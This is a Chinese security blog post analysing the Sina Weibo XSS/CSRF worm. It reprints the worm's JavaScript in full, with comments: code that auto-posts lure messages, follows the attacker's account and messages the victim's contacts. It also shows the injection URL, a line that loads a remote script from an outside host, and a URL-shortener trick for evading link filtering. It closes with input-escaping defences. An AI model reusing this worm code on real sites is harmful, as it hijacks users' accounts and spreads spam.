新浪微博CSRF事件解析(攻击脚本和流程分析)
最近sina 微博受到了大规模的xss攻击事件,多个用户收到了如下图所示消息,并且自动添加了昵称为hellosammy,uid为2201270010用户,并且给自己所关注的用户发送了同样的私信。
从上图可以看出,攻击者是利用sina名人堂weibo.com/pub/star的跨站脚本漏洞而引发了这次类似蠕虫性质的CSRF攻击方式。
hacker给受害者发送一个带有可执行脚本的url,受害者点击链接,发送http get请求,由于请求是由已通过身份认证登录平台的用户发出,所以网站信任这个链接,并执行。之所以称为蠕虫式病毒,因为其快速的传播型,下面我们从跨站脚本来分析这种传播型。
//创建一个XHR对象,不了解的同学可以参照blog中关于AJAX的讲解部分
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
//下面这段函数的功能是从指定url中获取namecard="true" title="xxx"中的title字段数组。从后续代码中可以看出,hacker主要是//为了获得点击了链接的当前用户微博中所关注好友的昵称,注:网上部分blog将这部分解析为当前用户的粉丝昵称,是错误
//的。
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
//正则表达式: 匹配 namecard="true" title=" e.g. namecard="true" title="CSDN
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3]; //csdn
id_arr += sum + '||';//e.g. csdn||新浪游戏播报||黑客风云录
}
return id_arr;
}
//下面这段函数生成攻击主体,格式为 文本+链接 ,文本是吸引眼球的,点击链接意味着你所关注的人也会收到同样的消息
function random_msg(){
//将有道提供的短域名服务,通过 https://163.fm/PxZHoxn ,将链接指向https://weibo.com/pub/star/g/xyyyd"><script //src=//www.2kt.cn/images/t.js></script>?type=update
link = ' https://163.fm/PxZHoxn?id=' + new Date().getTime();
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
//发微博
function publish(){
url = 'https://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
我们可以通过firefox自带的插件Live HTTP headers,抓包,获取实际发送的数据格式,如下图所示
content:为实际发送内容,会经过url编码转换
//加关注
function follow(){
url = 'https://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true); //2201270010 hellosamy的uid
}
uid是你所加关注用户的uid,fromuid是自己的uid,代码中fromuid=2201270010,即受害者发现的被自动加了关注的hellosammy,目前这个用户已经被删除,其实这种处理方式是没有效用的。如果未给漏洞打上补丁,hacker换个帐号仍然可以继续,记住在互联网最不值钱的就是帐号,靓号除外。
//给当前用户所关注的人发送私信
function message(){
url = 'https://weibo.com/' + $CONFIG.$uid + '/follow'; // $CONFIG.$uid 为当前用户的uid
ids = getappkey(url);//获取关注页面中的关注好友昵称
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'https://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);//循环的给所关注用户发送私信
}
}
content为所发送私信的内容
//脚本主体函数,先以登录用户的名义发送带有恶意链接的微博,然后加hacker关注,最后给受害者用户所关注的用户的前5位
//发送带有恶意链接的私信
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
//脚本主体,在当前窗口创建一个<script src='https://www.2kt.cn/images/t.js></script>,并执行脚本内容
try{
x="g=document.createElement('script');g.src='https://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="https://weibo.com/pub/topic";',5000);
从攻击脚本,我们知道了hacker先注册了个叫hellosammy的sina微博帐号,接着在名人堂里找到了一些加v用户(或者是普通用户),并关注他们,并给他们发送带有恶意链接的私信。收到私信的一时没经得住标题党的诱惑,点开了链接,于是后续一发不可收拾,他们除了在自己的微博上自动发送恶意链接,更可恶的是给自己关注的人通过私信方式也发送了恶意链接,如此以5^N的速度传播开来。
从以上脚本可以看出,hacker完成本次攻击的关键在于以下三点:
1)找到受害者网站存在xss漏洞的地方,这是最最关键的
2)将带有xss的url采用有道提供的短域名服务,将链接https://weibo.com/pub/star/g/xyyyd"><script //src=//www.2kt.cn/images/t.js></script>?type=update隐藏起来(sina在将用户提供的链接转换为短链接的时候,会检查这个链接是否包含可执行脚本所以需要用有道提供的短链接服务再做一次处理)
link = ' https://163.fm/PxZHoxn?id=' + new Date().getTime();
3)猜测rnd生成方式
url = 'https://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
url = 'https://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
msgurl = 'https://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
4)知道如何获得当前登录用户的uid
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
url = 'https://weibo.com/' + $CONFIG.$uid + '/follow';
从微博开放平台https://open.weibo.com/ ,api sdk说明中可以得知
防御方法:
一、脚本注入的防御
希望每个程序员都记住:从客户端获取的数据默认是不安全的,必须做过滤处理。以下函数就能轻易解决这个问题:
(1)htmlspecialchars(string str,int quote_style,string charset);//将字符串中的一些特殊字符替换成html文本实体并返回经过处理的字符串
(2)htmlentities(string str,int quote_style,string charset);//将字符串中的一些html标签替换成html实体并返回经过处理的字符串
(3)strip_tags(string str,string allowable_tags)//从字符串中去除所有php和html标记并返回经过处理的字符串(p.s.对富文本编辑,可以使用白名单和黑名单联合管理有实意的标签
(4)string addslashes(string str);//使用反斜线引用字符串中的单引号,双引号,反斜线,空字符,对magic_quotes的进一步预防
二、随机数的生成方式
使用时间做随机数真的很方便也很不安全
来源:碳基体
评论